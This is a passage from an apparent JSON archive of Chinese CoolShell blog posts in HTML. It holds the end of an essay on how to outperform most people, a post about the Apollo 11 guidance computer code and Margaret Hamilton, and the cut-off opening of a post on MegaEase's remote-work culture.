的转换。这个转换过程是需要耗费很多时间和精力的，而且其中还需要有强大的学习能力和动手能力，这条路径上有很多的“关卡”，每道关卡都会过滤掉一大部分人。比如：对于一些比较枯燥的硬核知识来说，90%的人基本上就倒下来，不是因为他们没有智商，而是他们没有耐心。</p>\n<h5>认知</h5>\n<p>要在认知上超过别人，就要在下面几个方面上做足功夫：</p>\n<p>1）<strong>信息渠道</strong>。试想如果别人的信息源没有你的好，那么，这些看不见信息源的人，只能接触得到二手信息甚至三手信息，只能获得被别人解读过的信息，这些信息被三传两递后必定会有错误和失真，甚至会被传递信息的中间人hack其中的信息（也就是“中间人攻击”），而这些找不出信息源的人，只能“被人喂养”，于是，他们最终会被困在信息的底层，永世不得翻身。（比如：学习C语言，放着原作者K&amp;R的不用，硬要用错误百出谭浩强的书，能有什么好呢？）</p>\n<p>2）<strong>信息质量</strong>。信息质量主要表现在两个方面，一个是信息中的燥音，另一个是信息中的质量等级，我们都知道，在大数据处理中有一句名言，叫 garbage in garbage out，你天天看的都是垃圾，你的思想和认识也只有垃圾。所以，如果你的信息质量并不好的话，你的认知也不会好，而且你还要花大量的时间来进行有价值信息的挖掘和处理。</p>\n<p>3）<strong>信息密度</strong>。优质的信息，密度一般都很大，因为这种信息会逼着你去干这么几件事，a）搜索并学习其关联的知识，b）沉思和反省，c）亲手去推理、验证和实践……一般来说，经验性的文章会比知识性的文章会更有这样的功效。比如，类似于像 Effiective C++/Java，设计模式，Unix编程艺术，算法导论等等这样的书就是属于这种密度很大的书，而像<a href=\"https://medium.com/netflix-techblog\" rel=\"noopener noreferrer\" target=\"_blank\">Netflix的官方blog</a>和<a href=\"https://www.allthingsdistributed.com/\" rel=\"noopener noreferrer\" target=\"_blank\">AWS CTO的blog</a>等等地方也会经常有一些这样的文章。</p>\n<h5>知识</h5>\n<p>要在知识上超过别人，你就需要在下面几个方面上做足功夫：</p>\n<p>1）<strong>知识树（图）</strong>。任何知识，只在点上学习不够的，需要在面上学习，这叫系统地学习，这需要我们去总结并归纳知识树或知识图，一个知识面会有多个知识板块组成，一个板块又有各种知识点，一个知识点会导出另外的知识点，各种知识点又会交叉和依赖起来，学习就是要系统地学习整个知识树（图）。而我们都知道，<strong>对于一棵树来说，“根基”是非常重要的，所以，学好基础知识也是非常重要的，对于一个陌生的地方，有一份地图是非常重要的，没有地图的你只会乱窜，只会迷路、练路、走冤枉路！</strong></p>\n<p>2）<strong>知识缘由</strong>。任何知识都是有缘由的，了解一个知识的来龙去脉和前世今生，会让你对这个知识有非常强的掌握，而不再只是靠记忆去学习。靠记忆去学习是一件非常糟糕的事。而对于一些操作性的知识（不需要了解由来的），我把其叫操作知识，就像一些函数库一样，这样的知识只要学会查文档就好了。<strong>能够知其然，知其所以然的人自然会比识知识到表皮的人段位要高很多。</strong></p>\n<p>3）<strong>方法套路</strong>。学习不是为了找到答案，而是找到方法。就像数学一样，你学的是方法，是解题思路，是套路，会用方程式解题的和不会用方程式解题的在解题效率上不可比较，而在微积分面前，其它的解题方法都变成了渣渣。<strong>你可以看到，掌握高级方法的人比别人的优势有多大，学习的目的就是为了掌握更为高级的方法和解题思路</strong>。</p>\n<h5>技能</h5>\n<p>要在技能上超过别人，你就需要在下面几个方面做足功夫：</p>\n<p>1）<strong>精益求精</strong>。如果你想拥有专业的技能，你要做不仅仅是拼命地重复一遍又一遍的训练，而是在每一次重复训练时你都要找到更好的方法，总结经验，让新的一遍能够更好，更漂亮，更有效率，否则，用相同的方法重复，那你只不过在搬砖罢了。</p>\n<p>2）<strong>让自己犯错</strong>。犯错是有利于成长的，这是因为出错会让人反思，反思更好的方法，反思更完美的方案，总结教训，寻求更好更完美的过程，是技能升级的最好的方式。尤其是当你在出错后，被人鄙视，被人嘲笑后，你会有更大的动力提升自己，这样的动力才是进步的源动力。当然，千万不要同一个错误重复地犯！</p>\n<p>3）<strong>找高手切磋</strong>。下过棋，打个球的人都知道，你要想提升自己的技艺，你必需找高手切磋，在和高手切磋的过程中你会感受到高手的技能和方法，有时候你会情不自禁地哇地一下，我靠，还可以这么玩！</p>\n<h5>领导力</h5>\n<p>最后一个是领导力，要有领导力或是影响力这个事并不容易，这跟你的野心有多大，好胜心有多强 ，你愿意付出多少很有关系，因为一个人的领导力跟他的标准很有关系，因为有领导力的人的标准比绝大多数人都要高。</p>\n<p>1）<strong>识别自己的特长和天赋</strong>。首先，每个人DNA都可能或多或少都会有一些比大多数人NB的东西（当然，也可能没有），如果你有了，那么在你过去的人生中就一定会表现出来了，就是那种大家遇到这个事会来请教你的寻求你帮助的现象。那种，别人要非常努力，而且毫不费劲的事。一旦你有了这样的特长或天赋，那你就要大力地扩大你的领先优势，千万不要进到那些会限制你优势的地方。你是一条鱼，你就一定要把别人拉到水里来玩，绝对不要去陆地上跟别人拼，不断地在自己的特长和天赋上扩大自己的领先优势，彻底一骑绝尘。</p>\n<p>2）<strong>识别自己的兴趣和事业</strong>。没有天赋也没有问题，还有兴趣点，都说兴趣是最好的老师，当年，Linus就是在学校里对minx着迷了，于是整出个Linux来，这就是兴趣驱动出的东西，一般来说，兴趣驱动的事总是会比那些被动驱动的更好。但是，这里我想说明一下什么叫“真∙兴趣”，真正的兴趣不是那种三天热度的东西，而是那种，你愿意为之付出一辈子的事，是那种无论有多大困难有多难受你都要死磕的事，这才是“真∙兴趣”，这也就是你的“野心”和“好胜心”所在，其实上升到了你的事业。相信我，绝大多数人只有职业而没有事业的。</p>\n<p>3）<strong>建立高级的习惯和方法</strong>。没有天赋没有野心，也还是可以跟别人拼习惯拼方法的，只要你有一些比较好的习惯和方法，那么你一样可以超过大多数人。对此，在习惯上你要做到比较大多数人更自律，更有计划性，更有目标性，比如，每年学习一门新的语言或技术，并可以参与相关的顶级开源项目，每个月训练一个类算法，掌握一种算法，每周阅读一篇英文论文，并把阅读笔记整理出来……自律的是非常可怕的。除此之外，你还需要在方法上超过别人，你需要满世界的找各种高级的方法，其中包括，思考的方法，学习的方法、时间管理的方法、沟通的方法这类软实力的，还有，解决问题的方法（trouble shooting 和 problem solving），设计的方法，工程的方法，代码的方法等等硬实力的，一开始照猫画虎，时间长了就可能会自己发明或推导新的方法。</p>\n<p>4）<strong>勤奋努力执着坚持</strong>。如果上面三件事你都没有也没有能力，那还有最后一件事了，那就是勤奋努力了，就是所谓的“一万小时定律”了（参看《<a href=\"https://coolshell.cn/articles/2250.html\" rel=\"noopener noreferrer\" target=\"_blank\">21天教你学会C++</a>》中的十年学编程一节），我见过很多不聪明的人，悟性也不够（比如我就是一个），别人学一个东西，一个月就好了，而我需要1年甚至更长，但是很多东西都是死的，只要肯花时间就有一天你会搞懂的，耐不住我坚持十年二十年，聪明的人发明个飞机飞过去了，笨一点的人愚公移山也过得去，因为更多的人是懒人，我不用拼过聪明人，我只用拼过那些懒人就好了。</p>\n<p>好了，就这么多，如果哪天你变得消极和不自信，你要来读读我的这篇文章，子曰：温故而知新。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-7-21 50年前的登月程序和程序员有多硬核.html",
    "content": "<html><body><p>2019年7月20日，是有纪念意义的一天，这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一，而是阿波罗登月的50周年的纪念日。早在几年前，在Github上放出了当年Apollo飞船使用的源代码（当然是汇编的），但完全不明白为什么这几天会有一些中国的小朋友到这个github的issue里灌水……，人类历史上这么伟大的一件事，为什么不借这个机会学习一下呢？下面是一些阿波罗登月与程序员相关的小故事，顺着这些东西，你可以把你的周末和精力用得更有价值。</p>\n<p><img alt=\"\" class=\"size-full alignright\" height=\"498\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766.jpg\" width=\"400\"/></p>\n<p>首先，要说的是Apollo 11导航的源代码，这些代码的设计负责人叫<a href=\"https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer)\" rel=\"noopener noreferrer\" target=\"_blank\">Margaret Heafield Hamilton </a>，是一个女程序员，专业是数学和哲学，1960年得到一个MIT麻省理工大学的临时的软件开发职位，负责在PDP-1和LGP-30上运行天气预报的软件（注：在计算机历史上，PDP系统机器被称为Hack文化的重要推手，PDP-11推了Unix操作系统，而Unix操作系统则是黑客文化的重要产品。参看《<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"noopener noreferrer\" target=\"_blank\">Unix传奇</a>》）。然后，她又为美国空军编写探测知敌方飞行的软件，之后，于1965年的时候，她加入了MIT仪器实验室，并成为了这个实验室的主管，这个实验实就是Apollo计划的一部分，她负责编写全新的月球登录的导航软件，以及后来该软件在其他项目中的各个版本。</p>\n<p><span id=\"more-19612\"></span></p>\n<p>上图是Hamilton站在她和她的麻省理工团队为阿波罗项目制作的导航软件源代码旁边，在Github上的开源的代码 – <a href=\"https://github.com/chrislgarry/Apollo-11\" rel=\"noopener noreferrer\" target=\"_blank\">Apollo-11</a> （2016年开源）。我们可以看到，有两个重要的目录，一个目录叫“Comanche055”，一个目录叫“Luminary099”，前者是指挥舱用的（英文为 <a href=\"https://en.wikipedia.org/wiki/Apollo_command_and_service_module#Command_Module_(CM)\" rel=\"noopener noreferrer\" target=\"_blank\">Command Module</a> ）后者为登月舱用的（英文为 <a href=\"https://en.wikipedia.org/wiki/Apollo_Lunar_Module\" rel=\"noopener noreferrer\" target=\"_blank\">Lunar Module</a>），这里需要说明一下的是，指挥舱是把登录舱推到月球上，在返回的时候，登录舱是被抛弃掉的，而返回到地球的是指挥舱。如果你想看这两份源代码的纸版，你可以访问这两个链接：<a href=\"https://archive.org/details/Comanche55J2k60\" rel=\"noopener noreferrer\" target=\"_blank\">Comanche 55 AGC Program Listing</a> 和 <a href=\"https://archive.org/details/Luminary99001J2k60\" rel=\"noopener noreferrer\" target=\"_blank\">Luminary 99 REv.1 AGC Program Listing</a>。其中的55 和 90 是各自的build 版本号。</p>\n<p>我们细看一下，这些文件的日期是，1969年7月14日，而Apollo 11登月的日期是1969年7月16日起程，7月19日经过月球背面，7月20日下午8点登月。代码写好，两天后就直接上生产，然后就登月，还是导航代码，这代码写的的健壮性得有多强。</p>\n<p>如果你仔细比较一下这两个目录中的文件，你会发现有些文件是一样的，不但文件名一样，而且内容也一样。这说明这两个模块中的一些东西是相似的。</p>\n<p><img alt=\"\" class=\"size-full aligncenter\" height=\"402\" src=\"../wp-content/uploads/2019/07/source.code_.compare.png\" width=\"800\"/></p>\n<p>这些代码应该是很难读了，因为当时写这些代码的时候，C语言都没有被发明，所以基本上来说都是汇编代码了，而且还可以发现，这些代码的源文件全是以agc后缀结尾的， 看来这还不是我们平时所了解的汇编，所谓的AGC代表了运行这些代码的计算机 –<a href=\"https://en.wikipedia.org/wiki/Apollo_Guidance_Computer\" rel=\"noopener noreferrer\" target=\"_blank\"> Apollo Guideance Computer</a> 。沿着这个Wikipedia的链接，你可以看到AGC这个电脑的指令是什么样的，看懂那几条指令后，这些源代码也就能读懂了。当然，因为是写成汇编的，所以，读起来还是要费点神的。不过，其中有一个文件是 <code><a href=\"https://github.com/chrislgarry/Apollo-11/blob/master/Luminary099/LUNAR_LANDING_GUIDANCE_EQUATIONS.agc\" rel=\"noopener noreferrer\" target=\"_blank\">LUNAR_LANDING_GUIDANCE_EQUATIONS.agc</a></code> 你会不会很好奇想去看看？</p>\n<p>打开源文件，你还可以看到每个文件都有很多很多的注释，非常友好，但是也有一些注释比较有趣。这里有一组短视频带你读这些代码 – <a href=\"https://www.pluralsight.com/courses/moon-landing-apollo-11\" rel=\"noopener noreferrer\" target=\"_blank\">Exploring the Apollo Guidance Computer(AGC) Code</a>，一供10个小视频，每个2分钟左右，如果你英文听边还行（我觉得很容易听懂），可以看看，了解一下AGC的工作方式，挺有趣意思的。</p>\n<p>当时的AGC有32公斤，主频只有2MHz，2K的RAM，36K的ROM。嗯，当年就是这么一个小玩意，把人送上了月球，今天，一个聊天程序就占内存几GB……</p>\n<p>下面是AGC在Apollo 1指挥舱里的样子（图片截自上面的视频），这个高质量的3D扫描来自<a href=\"https://www.3d.si.edu/explorer/apollo-11-command-module\" rel=\"noopener noreferrer\" target=\"_blank\"> Simithsonian 3D: Apollo 11 Command Module</a> （我觉得美国人干这些事干就是很漂亮啊，这种高清的3D扫描太牛了，如果你仔细看，这个舱里还有宇航员在舱壁上的手写）</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"402\" src=\"../wp-content/uploads/2019/07/AGC.DSKY_.png\" width=\"800\"/></p>\n<p>这个AGC的操作界面又叫DSKY – Display 和 Keyboard的缩写，下图是一个 AGC 模拟器，其官方主页在 <a href=\"https://www.ibiblio.org/apollo/\" rel=\"noopener noreferrer\" target=\"_blank\">https://www.ibiblio.org/apollo/</a>源代码在 <a href=\"https://github.com/virtualagc/virtualagc\" rel=\"noopener noreferrer\" target=\"_blank\">Github/VirtualAGC</a>。在这个界面上我们可以看到：下面的键盘上左边有两个键，一个是动词Verb一个是名词Noun，Verb指定操作类型，Noun指定要由Verb命令修改的数据。右边的显示器下面有三个5位的数字，这三个数值显示表示航天器姿态的矢量，以及所需速度变化的显示矢量。是的，当年的导航就靠这三个数字和里面的程序了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"669\" src=\"../wp-content/uploads/2019/07/DSKY.png\" width=\"588\"/></p>\n<p> </p>\n<p>如果你想了解AGC更多的细节，你可以看看 这篇 <a href=\"http://www.ibiblio.org/apollo/ForDummies.html\" rel=\"noopener noreferrer\" target=\"_blank\">AGC for Dummies</a>。这篇文章讲述了AGC这个嵌入式系统的背景和操作指令。一份详细的<a href=\"http://www.ibiblio.org/apollo/assembly_language_manual.html\" rel=\"noopener noreferrer\" target=\"_blank\">AGC 汇编语言手册</a>可以让你了解更多的细节。</p>\n<p>另外，我在Youtube上找到了一个讲当时Apollo电脑的纪录片 – <a href=\"https://www.youtube.com/watch?v=9YA7X5we8ng\" rel=\"noopener noreferrer\" target=\"_blank\">Navigation Computer</a>，太有趣了。比如：21分51秒开始讲存储用的 <a href=\"https://en.wikipedia.org/wiki/Core_rope_memory\" rel=\"noopener noreferrer\" target=\"_blank\">Rope Memory</a> 绕线内存，Hamilton 也出来讲了一下在这种内存上编程，画面切到一个人用个比较长的金属针在一个像主板一样的东西上，左右穿梭，就像刺绣一样，但是绣的不是图案，而是程序……太硬核了，真正的通过“硬编织”的方式来写程序。</p>\n<p><a href=\"https://www.youtube.com/watch?v=9YA7X5we8ng\" rel=\"noopener noreferrer\" target=\"_blank\"><img alt=\"\" class=\"aligncenter size-full\" height=\"497\" src=\"../wp-content/uploads/2019/07/rope.memory.png\" width=\"800\"/></a></p>\n<p>看完上面这个纪录篇，我是非常之惊叹，惊叹于50年前的工程能力，惊叹于50年前这些人面对技术的的一丝不苟，对技术的尊重和严谨的这种精神和方法，一点都不比较今天差。</p>\n<p>不过，最牛的还不是这个，我在Hamilton的Wikipedia词条上找到了他说的一个事件—— 当年Apollo登陆雷达开关放在了错误的位置，导致AGC收到了不少错误的信号。结果就是AGC既得执行着陆必须的计算，又要接受这些占用其15%时间的额外数据。但是AGC的程序居然可以用高优先级的任务打断低优先级的任务，于是，AGC自动剔除了低级别的任务以保证了重要的任务完成。Hamilton 原话说—— 如果当时的程序不能识别错误并从错误中恢复，我怀疑阿波罗不能成功登月。if the computer hadn’t recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was。</p>\n<p>看到这里，你有没有觉得——“这个女程序员的一小步，是整个人类的一大步”？</p>\n<p>Hamilton 的牛逼之外还在于，她是第一个将“软件工程”提出来的人，在MIT，她想让软件开发就像其它工程一样，有相应的工程纪律，给于相关的尊重，于是她创造了Software Engineering这个词。2018年，<a href=\"https://www.computer.org/csdl/magazine/so/2018/05\" rel=\"noopener noreferrer\" target=\"_blank\">IEEE在纪念软件工程50周年</a>的时候，他们把 Hamilton 请过去讲了一个叫 <a href=\"https://ieeexplore.ieee.org/document/8409915\" rel=\"noopener noreferrer\" target=\"_blank\">What the Errors Tell Us</a> 的主题。她绝对可以称得上是程序员的Pioneer。</p>\n<p>三年前，Apollo的源代码被开源时候，Twitter有个叫 Lin Clark 的人发了一条推：“我妈50年前的代码被放到Github上了”，虽然，她不是 Hamilton 的女儿，但她妈妈也是Apollo其中一个程序员，现在Lin Clark同样也是一个程序员，目前在 Mozilla工作，Staff Engineer，专长 <span class=\"lt-line-clamp__line\">WebAssembly, Rust, 和 JavaScript</span> ，也是个非常厉害的程序，Youtube上各种演讲，也是一个跟他妈妈一样牛的人。</p>\n<p>当她在Twitter上这么自豪地发了一条这样的推后，我不知道各位有什么想法？想不想你的后代在未来也会这样自豪的发条微博？<br/>\n<img alt=\"\" class=\"aligncenter size-full\" height=\"629\" src=\"../wp-content/uploads/2019/07/Lin-Clark-e1563706128853.jpg\" width=\"400\"/></p>\n<p> </p>\n<p>最后，尤其是想对那些到Apollo源代码的issue里发spam垃圾信息的人说一下，你看看人家，再看看你们自己，你们是不是想让你们的孩子在登月100周年纪念的时候说——50年前我爹那个傻叉在Apollo的github的issue列表时写了些垃圾，还以为自己多机灵？！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-1-31 MegaEase的远程工作文化.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-20773\" height=\"177\" src=\"../wp-content/uploads/2020/01/remote-300x177.jpg\" width=\"300\"/><a href=\"https://megaease.com/\" rel=\"noopener noreferrer\" target=\"_blank\">MegaEase</a> 是我创业的公司，主要是想把云计算（PaaS/SaaS层）的那些高可用高并发的分布式技术普及到那需要对技术自主可控的公司，这样就不需要去使用不能自主可控的闭源系统或是大公司的云平台。我于2016年开始成立MegaEase，从早期8个人，直到今天有20来个人，我们从一开始到今天都是在远程工作的公司文化。因为我很喜欢《<a href=\"https://coolshell.cn/articles/9156.html\" rel=\"noopener noreferrer\" target=\"_blank\">Rework</a>》这本书，写这本书的公司叫37signal（现名basecamp），这家公司在发《Rework》这本书的时候，整个公司只有16个人，分布在全世界8个城市，这种Geek的公司的文化很吸引我，所以，在我决定创业的时候，我就止不住地想成立这样能够远程工作的公司，于是，远程工作的团队文化就这样成为了MegaEase的基因。<strong>下面我会分享一下，我们公司的远程工作文化和其中的一些问题，最后还有一个工作协议</strong>。</p>\n<p>我们在早期的时候，8个员工来自5个城市，现在的20来个员工来自8个城市2个国家。虽然我们现在使用“共享办公室”，但是本质上，我们的整个文化是远程工作的文化。在2017-2018年度，我们公司产品商业化以来，公司早期的8个工程师在远程工作的状态下成功支持了得到的老罗的跨年演讲活动，以及其它几个客户，一方面验证了用户愿意付费购买我们的产品和服务之后，另一方面也有一些不错的收入，客单价都在百万左右。还记得当时，有几个投资人并不相信我们连个办公室都没有，而且8个人分布在5个城市，觉得我们是个骗子公司（哈哈）。在过去的一年，我们通过我们的产品和服务帮助银行电信互联网等公司进行了他们的系统架构的改造和升级，让复杂和高门槛的分布式技术和架构可以被更多的企业所掌握所应用。这说明，远程工作是没有什么问题的。实际上远程团队远程工作真的不新鲜，Github上有个Repo维护着一个<a href=\"https://github.com/remoteintech/remote-jobs\" rel=\"noopener noreferrer\" target=\"_blank\">支持远程工作的公司列表</a>，还有一个<a href=\"https://github.com/lukasz-madon/awesome-remote-job\" rel=\"noopener noreferrer\" target=\"_blank\">跟远程工作相关的Awesome索引</a>。</p>\n<p>当然，自从我创业以来，我身边就一直有好些不同的声音质疑远程工作。听过他们的理由后，我能够理解他们的疑虑和困惑，因为管理的确是一个很复杂的事，因为要面对的是极为复杂的人，所以，有这些疑虑也是正常的。下面是我的一些经验和分享。先说宏观管理，再说微观实践。</p>\n<p><span id=\"more-20765\"></span></p>\n<h4>宏观管理</h4>\n<p>我发现很多人比较质疑远程工作的原因，更多的是表现在对宏观的管理上有问题。所以，我还是想先说一下宏观管理，这其实并不分远程办公还是集中式办公，<strong>如果能够解决好些这管理上的根本问题，其实，远程不远程都无所谓了。只不过，这些问题在“远程办室”的场景更更突显罢了</strong>。</p>\n<h5><strong>一、努力找到好的人</strong></h5>\n<p><strong>团队管理的头等大事是找人，没有之一。</strong>很多人都会跟我说，你的这种远程团队需要很好的人。是的，没错，人很关键。远程团队需要的人的一般需要有这些特质：</p>\n<ul>\n<li><strong>能独挡一面的人</strong>。这样交给他的事能独立完成，没有路能自己找路，这样可以省很多管理成本。</li>\n<li><strong>沟通能力很强的人</strong>。一方面，他们把模糊的事能变清楚，另一方面，他能有效地说服他人。不然就会非常扯皮和消耗时间。</li>\n<li><strong>能自管理和自驱动</strong>。不能自管理和自驱的人，会增加大量的管理和教育成本。能自驱动的人，都是对负责的事情有认同的人。</li>\n</ul>\n<p>如果你仔细思考一下，<strong>你会发现，这样的人是任何一家公司所渴望的人，和远不远程无关</strong>。只不过，如果是远程团队的话，你会被逼着要招到这样的人。</p>\n<p>招到这样的人，你团队的执行力会非常的强悍。招不到这样的人，你只能为他们不能自管理和自驱而招“经理”，不能写出好的代码而招“测试”，不能很好的沟通而招个“项目经理”，不能独档一面，而要把好的人安排给他们当“教练”，而好的人则会被累死……</p>\n<p>这个时候，<strong>你就需要计算一下了，是花时间精力在教育不好的人，还是花时间精力找好的人？无论远不远程，聪明的管理者都会选择后者</strong>。这也就是为什么Amazon的Bezos会说，“我宁愿面50个人一个人都招不到，我也不愿意降低我的面试标准”。</p>\n<h5><strong>二、设定共同的目标和使命</strong></h5>\n<p>对于远程团队来说因为见不到面，所以，缺乏交流和沟通。所以，需要团队里所有人能在同一篇上，能够对要做的事有一个统一标准的认识。也就是共同的目标和使命的认知。知道要要什么，不要什么。知道取舍，知道trade-off。这些东西都是需要团队一起达成的共识。如果没有这样的“Same Picture”的目标和使命，就会出现很多不必要的误解和冲突。另外，因为团队和业务也在迅速发展中，所以，也需要不断地调整和沟通。这都需要领导者花费时间统一目标和使命。</p>\n<p>老实说，无论远程不远程，一个团队也是需要有共同的目标和使命的。没有共同的目标，就算是集中在一起办公，也一样没有效率的。</p>\n<h5><strong>三、倾向使用小团队</strong></h5>\n<p>因为沟通成本的问题，远程团队更为倾向使用小团队，但并不是说小团队会限制整个公司的规模。《人月神话》说过，只有小团队才能驾驭复杂的系统。Amazon 的 Two Pizza Team的文化（团队的大小只能到两张披萨就能喂饱的大小），就是把整个系统拆成“微服务”架构，这样可以导致整体效率的巨大提升。表现在，可以并行开发，专注于一个功能更利于解决复杂问题，简单可以更容易的运维，可以更容易的规模化……</p>\n<p>我工作的这20多年来经历过很多公司，尤其是创业的这几年来，看过的公司更多了（50+以上了），我发现，人数越多的团队，基本上来说，就更偏劳动密集型。劳动密集型的一个特征就是，<strong>大家整天在想，得整点什么事给这么多人，好让他们忙起来。而人数少的团队，因为人不够，所以每天都在想，什么样的事更重要，什么样的事可以自动化，怎么做更有效率……</strong>小团队和大团队的关注点就这么不一样了，所以做出来的事也就不一样了……</p>\n<p>当然，并不是说劳动密集型有什么问题，就像《<a href=\"https://coolshell.cn/articles/4951.html\" rel=\"noopener noreferrer\" 